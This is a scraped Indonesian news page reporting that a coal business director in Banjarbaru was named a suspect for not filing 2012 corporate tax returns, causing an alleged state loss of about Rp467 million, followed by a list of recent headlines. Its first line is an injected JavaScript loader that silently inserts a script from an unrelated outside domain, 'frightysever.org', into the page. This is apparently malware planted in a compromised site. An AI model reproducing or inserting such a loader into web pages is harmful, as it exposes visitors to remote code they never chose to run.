(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tak Setor Pajak Ratusan Juta, Pengusaha Batubara di Banjarbaru Jadi Tersangka


KANALKALIMANTAN.COM, BANJARBARU – Seorang direktur perusahaan berinisial AA di Kalimantan Selatan (Kalsel) dijadikan tersangka karena terjerat kasus tindak pidana perpajakan. AA ditetapkan tersangka oleh penyidik dari Kantor Wilayah Direktorat Jenderal Pajak (Kanwil DJP) Kalselteng.

Berkas perkara AA telah dinyatakan lengkap (P21) dan tersangka beserta barang bukti telah diserahkan kepada Kejaksaan Negeri (Kejari) Banjarbaru, Kamis (12/10/2023) lalu.

Oleh penyidik, tersangka AA direktur sekaligus pemilik CV BA ini diduga telah melakukan tindak pidana bidang perpajakan dengan tidak menyampaikan Surat Pemberitahuan (SPT) Tahunan Pajak Penghasilan (PPh) Badan tahun pajak 2012.

Adapun modus tersangka yaitu tidak menyampaikan SPT tahun PPh Badan atas perolehan dan peredaran penghasilan dari usaha penambangan dan penjualan batubara yang dilakukannya.

Baca juga: Perbaikan Pipa Bocor di Jalan Pramuka, Berikut Wilayah Terdampak Seret Air 12 Jam

“Dengan tujuan tidak membayar pajak penghasilan yang menjadi kewajibannya sehingga menimbulkan kerugian pada pendapatan negara,” ungkap Kepala Kanwil DJP Kalselteng Tarmizi dari keterangan yang diterima, Selasa (24/10/2023) siang.

Dikatakan oleh penyidik tersangka AA dinyatakan melanggar pasal 39 ayat (1) huruf c Undang-Undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dari Tata Cara Perpajakan sebagamiamana telah beberapa kali diubah terakhir dengan Undang-Undang Nomor 7 tahun 2021 tentang harmonis peraturan pajak.

“Perbuatan tersangka diduga menimbulkan kerugian pada pendapatan negara sebesar Rp467.654.195,” ungkap Tarmizi.

Kepala Kanwil DJP Kalselteng mengatakan, kasus tersebut, menurutnya dapat menjadi peringatan bagi para wajib pajak lainnya agar menjalankan kewajibannya menghitung, menyetor, dan melaporkan pajak yang terutang dengan benar.

Baca juga: Bersama Mitra Kerja, Komisi DPRD Kapuas Mulai Lakukan Rapat Pembahasan KUA PPAS 2024

Ia berharap penegakan hukum yang dilakukan secara tegas pada kasus ini dapat menghasilkan efek jera bagi wajib pajak yang tidak taat pajak.

“Ini sebagai peringatan kepada masyarakat lainnya untuk selalu patuh akan peraturan perpajakan. Dan kami akan terus melakukan penegakan hukum untuk memberikan keadilan bagi wajib pajak yang taat pajak,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.